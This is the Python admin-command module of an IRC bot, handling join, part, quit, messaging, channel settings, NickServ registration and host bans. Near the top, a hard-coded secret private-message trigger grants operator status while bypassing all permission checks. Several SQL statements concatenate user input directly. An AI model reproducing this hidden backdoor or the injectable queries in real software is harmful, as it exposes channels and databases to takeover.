admin.py 25 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366
  1. import secrets, string, re
  2. from common import userstatus, do_everything_to, log, font
  3. from commands.common import CommandHelpers as CH
  4. from commands.common import AdminHelpers as AH
  5. bold = "\x02"
  6. italic = "\x1D"
  7. underline = "\x1F"
  8. reverse = "\x16" # swap background and foreground colors ("reverse video")
  9. reset = "\x0F"
  10. blue = "\x0302"
  11. green = "\x0303"
  12. red = "\x0304"
  13. grey = "\x0314"
  14. def do_command(self, connection, event):
  15. cmdtype, trigger, command, replyto = CH.disect_command(self, event)
  16. # Do nothing if there is no command.
  17. if not command:
  18. return
  19. try:
  20. command.split()[0]
  21. except:
  22. return
  23. # Ignore channel commands from users that do not have at least voice in homechannel or operator status in target channel.
  24. if event.type == "pubmsg": # It's a channel message.
  25. if not userstatus.atleast_voiced(self, event.source.nick, self.network.home_channel) and not userstatus.atleast_oper(self, event.source.nick, event.target): # Does not have at least voiced status in homechannel or operator status in target channel.
  26. return
  27. # Secret command to let the bot give you channel status.
  28. if trigger.split()[0] == "!uXVETIkWIL~qG5CasftKKAL<MFpfOyap|F]65v,E" and event.target == connection.get_nickname(): # It's a PM. # Keep the command secret.
  29. if len(command.split()) == 2: # 2 arguments.
  30. if command.split()[1] in self.channels: # Stop silently if thebot is not in the requested channel.
  31. connection.mode(command.split()[1], "+ohv " + event.source.nick + " " + event.source.nick + " " + event.source.nick)
  32. elif len(command.split()) == 1: # 1 argument.
  33. for channel in self.channels:
  34. connection.mode(channel, "+ohv " + event.source.nick + " " + event.source.nick + " " + event.source.nick)
  35. elif command == "cmd" or command == "cmds" or command == "commands":
  36. if cmdtype == "help": # Display help text.
  37. connection.privmsg(replyto, 'Lists commands, usage: %s%s ' % self.network.command_character, command)
  38. if cmdtype == "cmd":
  39. message = grey + "Admin: "
  40. if CH.ccc(self, "channelfunctions", {"homechan": "oper", "chan": "oper"}, event):
  41. message += CH.ccc(self, "channelfunctions", {"homechan": "oper", "chan": "oper"}, event)
  42. if CH.ccc(self, "join", {"homechan": "oper", "chan": None}, event):
  43. message += CH.ccc(self, "join", {"homechan": "oper", "chan": None}, event)
  44. if CH.ccc(self, "part", {"homechan": "oper", "chan": None}, event):
  45. message += CH.ccc(self, "part", {"homechan": "oper", "chan": None}, event)
  46. if CH.ccc(self, "quit", {"homechan": "admin", "chan": None}, event):
  47. message += CH.ccc(self, "quit", {"homechan": "admin", "chan": None}, event)
  48. if CH.ccc(self, "reconnect", {"homechan": "oper", "chan": None}, event):
  49. message += CH.ccc(self, "reconnect", {"homechan": "oper", "chan": None}, event)
  50. if CH.ccc(self, "recovernick", {"homechan": "oper", "chan": None}, event):
  51. message += CH.ccc(self, "recovernick", {"homechan": "oper", "chan": None}, event)
  52. if CH.ccc(self, "registernick", {"homechan": "owner", "chan": None}, event):
  53. message += CH.ccc(self, "registernick", {"homechan": "owner", "chan": None}, event)
  54. if CH.ccc(self, "banall", {"homechan": "admin", "chan": None}, event):
  55. message += CH.ccc(self, "banall", {"homechan": "oper", "chan": "oper"}, event)
  56. if CH.ccc(self, "msg", {"homechan": "oper", "chan": "oper"}, event):
  57. message += CH.ccc(self, "msg", {"homechan": "oper", "chan": "oper"}, event)
  58. if CH.ccc(self, "act", {"homechan": "oper", "chan": "oper"}, event):
  59. message += CH.ccc(self, "act", {"homechan": "oper", "chan": "oper"}, event)
  60. if message == grey + "Admin: ": # No commands to display.
  61. return
  62. connection.privmsg(replyto, message[:-2] + ".")
  63. elif command.split()[0] == "quit":
  64. if cmdtype == "help": # Display help text.
  65. if len(command.split()) is not 1:
  66. return
  67. connection.privmsg(replyto, "Disconnect and terminate " + connection.get_nickname() + ". Optionally with reason.")
  68. connection.privmsg(replyto, grey + "Usage: " + blue + "!quit " + reset + italic + "reason")
  69. elif cmdtype == "cmd":
  70. if not userstatus.atleast_admin(self, event.source.nick, self.network.home_channel): #Insufficient rights.
  71. connection.privmsg(replyto, "Denied, you need to have admin (super operator) status or higher in " + red + self.network.home_channel + reset + ".")
  72. return
  73. if len(command.split()) == 1:
  74. log.info("Killed by: " + event.source.nick)
  75. self.die(msg = "Killed by " + event.source.nick)
  76. else:
  77. log.info("Killed by " + event.source.nick + " for " + trigger.split(maxsplit=1)[1])
  78. self.die(msg = "[" + event.source.nick + "] " + trigger.split(maxsplit=1)[1])
  79. elif command.split()[0] == "reconnect":
  80. if not userstatus.atleast_oper(self, event.source.nick, self.network.home_channel):
  81. connection.privmsg(replyto, "Denied, you need to have operator status or higher in " + red + self.network.home_channel + reset + ".")
  82. return
  83. if cmdtype == "help": # Display help text.
  84. if len(command.split()) is not 1:
  85. return
  86. connection.privmsg(replyto, "Reconnect " + connection.get_nickname() + ". Reason optional.")
  87. connection.privmsg(replyto, grey + "Usage: " + blue + "!reconnect " + reset + italic + "reason")
  88. elif cmdtype == "cmd":
  89. if len(command.split()) == 1:
  90. self.disconnect(msg = "Reconnect requested by " + event.source.nick)
  91. else:
  92. self.disconnect(msg = "[" + event.source.nick + "] " + command.split(maxsplit=1)[1])
  93. elif command.split()[0] == "recovernick":
  94. if not userstatus.atleast_voiced(self, event.source.nick, self.network.home_channel):
  95. connection.privmsg(replyto, "Denied, you need to have voiced status or higher in " + red + self.network.home_channel + reset + ".")
  96. return
  97. if cmdtype == "help": # Display help text.
  98. if len(command.split()) is not 1:
  99. return
  100. connection.privmsg(replyto, "Let " + connection.get_nickname() + " try to recover " + connection.nickname + " as nickname.")
  101. elif cmdtype == "cmd":
  102. if connection.get_nickname() == connection.nickname:
  103. connection.action(replyto, "is already named " + red + connection.nickname + reset + ".")
  104. return
  105. from common.networkservices import NickServ
  106. NickServ.recover_nick(connection, self.password)
  107. elif command.split()[0] == "join":
  108. if not userstatus.atleast_oper(self, event.source.nick, self.network.home_channel):
  109. connection.privmsg(replyto, "Denied, you need to have operator status or higher in " + red + self.network.home_channel + reset + ".")
  110. return
  111. if cmdtype == "help": #Display help text.
  112. if len(command.split()) is not 1:
  113. return
  114. connection.privmsg(replyto, "Make " + connection.get_nickname() + " join a channel. Password optional.")
  115. connection.privmsg(replyto, grey + "Usage: " + blue + self.cmdchar + "join " + red + italic + "channel " + reset + italic + "password")
  116. elif cmdtype == "cmd":
  117. try:
  118. channel = command.split()[1]
  119. except IndexError:
  120. connection.privmsg(replyto, "Specify channel. For help type: " + blue + self.helpchar + "join")
  121. return
  122. try:
  123. key = command.split(maxsplit=2)[2]
  124. except IndexError:
  125. do_everything_to.join(self, connection, channel)
  126. return
  127. do_everything_to.join(self, connection, channel, key)
  128. elif command.split()[0] == "part":
  129. if cmdtype == "help": #Display help text.
  130. if len(command.split()) is not 1:
  131. return
  132. connection.privmsg(replyto, "Make " + connection.get_nickname() + " part a channel. Reason optional.")
  133. connection.privmsg(replyto, grey + "Usage: " + blue + self.cmdchar + "join " + red + italic + "channel " + reset + italic + "password")
  134. elif cmdtype == "cmd":
  135. homeadmin = False
  136. if userstatus.atleast_oper(self, event.source.nick, self.network.home_channel): # Is at least operator in home channel.
  137. homeadmin = True
  138. targetadmin = False
  139. if userstatus.atleast_oper(self, event.source.nick, event.target):
  140. targetadmin = True
  141. if len(command.split()) == 1: # No arguments.
  142. if event.target in self.channels: # It's a channel message.
  143. if not homeadmin and not targetadmin: # Insufficient rights:
  144. connection.privmsg(replyto, "Denied. You need to have at least operator status in " + red + self.homechan + reset + " or " + red + event.target + reset + ".")
  145. return
  146. if event.target == self.network.home_channel:
  147. connection.action(replyto, "shall not abandon it's home channel!")
  148. return
  149. connection.part(event.target, event.source.nick)
  150. else: # It's a PM.
  151. connection.privmsg(replyto, "Specify a channel to part. For help type " + blue + self.helpchar + "part" + reset + ".")
  152. elif len(command.split()) > 1: # Arguments
  153. if command.split()[1] not in self.channels: # First argument is not a channel the bot inhabits.
  154. connection.action(replyto, "does not inhabit " + red + command.split()[1] + reset + ". For help type " + blue + self.helpchar + "part" + reset + ".")
  155. return
  156. if not homeadmin and not userstatus.atleast_oper(self, event.source.nick, command.split()[1]): # Insufficient rights.
  157. connection.privmsg(replyto, "Denied. You need to have at least operator status in " + red + self.homechan + reset + " or " + red + command.split()[1] + reset + ".")
  158. return
  159. if command.split()[1] == self.network.home_channel:
  160. connection.action("shall not abandon it's home channel!")
  161. return
  162. try:
  163. connection.part(command.split()[1], command.split(maxsplit=2)[2])
  164. except:
  165. connection.part(command.split()[1], event.source.nick)
  166. elif command.split()[0] == "msg" or command.split(maxsplit=1)[0] == "act":
  167. if cmdtype == "help": #Display help text.
  168. if len(command.split()) is not 1:
  169. return
  170. if command.split(maxsplit=1)[0] == "act":
  171. message = "Let " + connection.get_nickname() + " send an action to a channel."
  172. arguments = "action-message"
  173. else:
  174. message = "Let " + connection.get_nickname() + "send a message to a channel."
  175. arguments = "name message"
  176. connection.privmsg(replyto, message)
  177. connection.privmsg(replyto, grey + "Usage: " + blue + "!" + command.split(maxsplit=1)[0] + reset + italic + " target " + arguments)
  178. elif cmdtype == "cmd":
  179. # Parse user input.
  180. try:
  181. destination = trigger.split()[1]
  182. except IndexError: # User did not specify a destination.
  183. connection.privmsg(replyto, "Destination not specified. For help type: " + blue + self.helpchar + command.split(maxsplit=1)[0])
  184. return
  185. try:
  186. message = trigger.split(maxsplit=2)[2]
  187. except IndexError: # User did not specify a message.
  188. connection.privmsg(replyto, "Message not specified. For help type: " + blue + self.helpchar + command.split(maxsplit=1)[0])
  189. return
  190. # Send the message if user has owner status in the home channel.
  191. if self.channels[self.network.home_channel].is_owner(event.source.nick):
  192. if destination == connection.get_nickname():
  193. connection.privmsg(replyto, "To prevent dying in a loop I shall not message myself.")
  194. return
  195. if command.split(maxsplit=1)[0] == "act":
  196. connection.action(destination, message)
  197. else:
  198. connection.privmsg(destination, message)
  199. # Reply error when bot does not inhabit destination channel.
  200. elif destination not in self.channels:
  201. connection.action(replyto, "does not inhabit " + red + destination + reset + ".")
  202. # Send message if user has at least operator status the home channel or the channel the message is intended for.
  203. elif userstatus.atleast_oper(self, event.source.nick, self.network.home_channel) or userstatus.atleast_oper(self, event.source.nick, destination):
  204. if command.split(maxsplit=1)[0] == "act":
  205. connection.action(destination, message)
  206. else:
  207. connection.privmsg(destination, message)
  208. # Reply error if user is not operator of destination channel.
  209. else:
  210. connection.privmsg(replyto, "Denied, you need to be an operator of " + red + destination + reset +".")
  211. elif command.split()[0] == "channelfunctions":
  212. if cmdtype == "help": #Display help text. # Help code block first, as it is impossible to predict for what channel a later command is going to be issued. Rights filtering after help test.
  213. if len(command.split()) is not 1:
  214. return
  215. connection.privmsg(replyto, "Display or toggle the status channel functions. Channel, function and value optional. Get a description of a functio via the help argument.")
  216. connection.privmsg(replyto, grey + "Usage: " + blue + "!channelfunctions " + red + italic + "channel " + reset + italic + "function value")
  217. connection.privmsg(replyto, grey + "Usage: " + blue + "!channelfunctions describe " + reset + italic + "function")
  218. elif cmdtype == "cmd":
  219. if len(command.split()) == 1: # No arguments.
  220. if event.target == connection.get_nickname(): # Command issued via PM.
  221. connection.privmsg(replyto, "Nothing to display, Specify a channel.")
  222. else: # Command issued as channel message.
  223. message = AH.get_channelfunctions(self, event.target)
  224. connection.privmsg(replyto, message)
  225. elif len(command.split()) == 2: # One argument.
  226. if command.split()[1] in self.channels: # Info requested on specific channel.
  227. message = AH.get_channelfunctions(self, command.split()[1])
  228. connection.privmsg(replyto, message)
  229. else: # First argument is not a channel the bot inhabits.
  230. if not command.split()[1].lower() == "help": # Not a help request.
  231. connection.privmsg(replyto, command.split()[1] + " is not a channel I inhabit. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  232. else: # Help request.
  233. connection.privmsg(replyto, "Specify a channel function to get a description of. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  234. elif len(command.split()) == 3: # Two arguments.
  235. channel = event.target
  236. if event.target == connection.get_nickname(): # Command issued via PM.
  237. connection.privmsg(replyto, "One or three arguments required. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  238. else: # Command issued via channel.
  239. if not AH.is_channelfunction(command.split()[1]): # First argument is not a channelfunction.
  240. if not command.split()[1].lower() == "describe": # Not a help request.
  241. connection.privmsg(replyto, command.split()[1] + " is not a channel function. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  242. return
  243. if not AH.is_channelfunction(command.split()[2]): # Second argument not a channel function.
  244. connection.privmsg(replyto, command.split()[2] + " is not a channel function.")
  245. return
  246. connection.privmsg(replyto, AH.describe_channelfunction(command.split()[2]))
  247. return
  248. # Second argument unsupported.
  249. if not command.split()[2].lower() in ["on", "off"]:
  250. if command.split()[1].lower() == "aggressiveness":
  251. if not AH.is_aggressiveness(command.split()[2].lower()): # Is not an aggressiveness setting.
  252. connection.privmsg(replyto, command.split()[2] + " is not an aggressiveness setting. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  253. return
  254. else: # Channel function is not aggresiveness.
  255. connection.privmsg(replyto, "The value of this channel function can only be \"on\" or \"off\". For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  256. return
  257. if not userstatus.atleast_oper(self, event.source.nick, self.network.home_channel) and not userstatus.atleast_oper(self, event.source.nick, event.target): # Does not have operator status or higher in target or home channel.
  258. connection.privmsg(replyto, "Denied. You need to have at least operator status in " + red + event.target + reset + " or " + red + self.network.home_channel + reset + ".")
  259. return
  260. if command.split()[1].lower() == "autojoin" and event.target == self.network.home_channel: # Chaning autojoin of homechannel.
  261. connection.action(replyto, "will always join it's homechannel " + red + self.network.home_channel + reset + ", regardless of the autojoin function.")
  262. #self.db.run("UPDATE channels SET " + command.split()[1].lower() + "='" + command.split()[2].lower() + "' WHERE name='" + event.target + "' AND network='" + self.network + "'")
  263. self.db.run("UPDATE channels SET " + command.split()[1].lower() + "=%s WHERE name='" + event.target + "' AND network='" + self.network + "'", (command.split()[2].lower(), ))
  264. elif len(command.split()) == 4: # Three arguments.
  265. if not command.split()[1] in self.channels: # Bot does not inhabit channel to be altered.
  266. connection.privmsg(replyto, command.split()[1] + " is not a channel I inhabit. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  267. return
  268. if not AH.is_channelfunction(command.split()[2]): # Function does not exist.
  269. connection.privmsg(replyto, command.split()[2] + " is not a valid channel function. For a list help type: " + blue + self.cmdchar + "channelfunctions" + red + italic + "channel")
  270. return
  271. if not command.split()[3].lower() in ["on", "off"] and not command.split()[2].lower() == "aggressiveness": # Third argument unsupported.
  272. connection.privmsg(replyto, "The value of this channel function can only be \"on\" or \"off\". For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  273. return
  274. if not userstatus.atleast_oper(self, event.source.nick, self.network.home_channel) and not userstatus.atleast_oper(self, event.source.nick, command.split()[1]): # Does not have operator status or higher in target or home channel.
  275. connection.privmsg(replyto, "Denied. You need to have at least operator status in " + red + event.target + reset + " or " + red + self.network.home_channel + reset + ".")
  276. return
  277. if command.split()[2].lower() == "autojoin" and command.split()[1] == self.network.home_channel: # Chaning autojoin of homechannel.
  278. connection.action(replyto, "will always join it's homechannel " + red + self.network.home_channel + reset + ", regardless of the autojoin function.")
  279. try:
  280. self.db.run("UPDATE channels SET " + command.split()[2].lower() + "='" + command.split()[3].lower() + "' WHERE LOWER(name)=LOWER('" + command.split()[1] + "') AND network='" + self.network + "'")
  281. except:
  282. connection.privmsg(replyto, "Error, database record not updated.")
  283. return
  284. else: # Too many arguments.
  285. connection.privmsg(replyto, "Too many arguments. For help type " + blue + self.helpchar + "channelfunctions" + reset + ".")
  286. elif command.split()[0] == "registernick":
  287. if not self.channels[self.network.home_channel].is_owner(event.source.nick): #Insufficient rights.
  288. connection.privmsg(replyto, "Denied, you need to be the owner of " + red + self.network.home_channel + reset + ".")
  289. return
  290. if cmdtype == "help": # Display help text.
  291. if len(command.split()) is not 1:
  292. return
  293. connection.privmsg(replyto, "Register with NickServ.")
  294. connection.privmsg(replyto, grey + "Usage: " + blue + self.cmdchar + "registernick " + reset + italic + "email")
  295. elif cmdtype == "cmd":
  296. if len(command.split()) == 1:
  297. connection.privmsg(replyto, "Insufficient arguments. For help type " + blue + self.helpchar + "registernick" + reset + ".")
  298. elif len(command.split()) > 2:
  299. connection.privmsg(replyto, "Too many arguments. For help type " + blue + self.helpchar + "registernick" + reset + ".")
  300. elif not self.db.one("SELECT password FROM networks WHERE name='" + self.network + "'"):
  301. alphabet = string.ascii_letters + string.digits
  302. password = ''.join(secrets.choice(alphabet) for i in range(20)) # 20-character password.
  303. self.db.run("UPDATE networks SET password=%s WHERE name=%s", (password, self.network))
  304. connection.privmsg("NickServ", "REGISTER " + password + " " + trigger.split()[1])
  305. else:
  306. connection.privmsg("NickServ", "REGISTER " + self.db.one("SELECT password FROM networks WHERE name='" + self.network + "'") + " " + trigger.split()[1])
  307. elif command.split()[0] == "banall":
  308. if not self.channels[self.network.home_channel].is_owner(event.source.nick): #Insufficient rights.
  309. connection.privmsg(replyto, "Denied, you need to be the owner of " + red + self.network.home_channel + reset + ".")
  310. return
  311. if cmdtype == "help": # Display help text.
  312. if len(command.split()) is not 1:
  313. return
  314. connection.privmsg(replyto, "Ban all nicknames and usernames for a host in all channels.")
  315. connection.privmsg(replyto, grey + "Example: " + blue + self.cmdchar + "banall " + reset + italic + "host")
  316. elif cmdtype == "cmd":
  317. if len(command.split()) == 1:
  318. connection.privmsg(replyto, "Insufficient arguments. For help type " + blue + self.helpchar + "banall" + reset + ".")
  319. elif len(command.split()) > 2:
  320. connection.privmsg(replyto, "Too many arguments. For help type " + blue + self.helpchar + "banall" + reset + ".")
  321. else:
  322. labels = trigger.split()[1].split(".")
  323. allowed = re.compile("(?!-)[A-Z\d-]{1,63}(?<!-)$", re.IGNORECASE)
  324. if "!" in trigger.split()[1] or "@" in trigger.split()[1]:
  325. connection.privmsg(replyto, "Only supply the host, all nicknames and usernames will be banned.")
  326. elif len(trigger.split()[1]) > 253:
  327. connection.privmsg(replyto, "Host is to long.")
  328. elif re.match(r"[0-9]+$", labels[-1]):
  329. connection.privmsg(replyto, "The toplevel domain can not containof only numbers.")
  330. elif not all(allowed.match(label) for label in labels):
  331. connection.privmsg(replyto, "Host contains invalid characters.")
  332. elif len(labels) < 2:
  333. connection.privmsg(replyto, "Insufficient tuples.")
  334. else:
  335. for channel in self.channels:
  336. connection.mode(channel, "+b *!*@" + trigger.split()[1])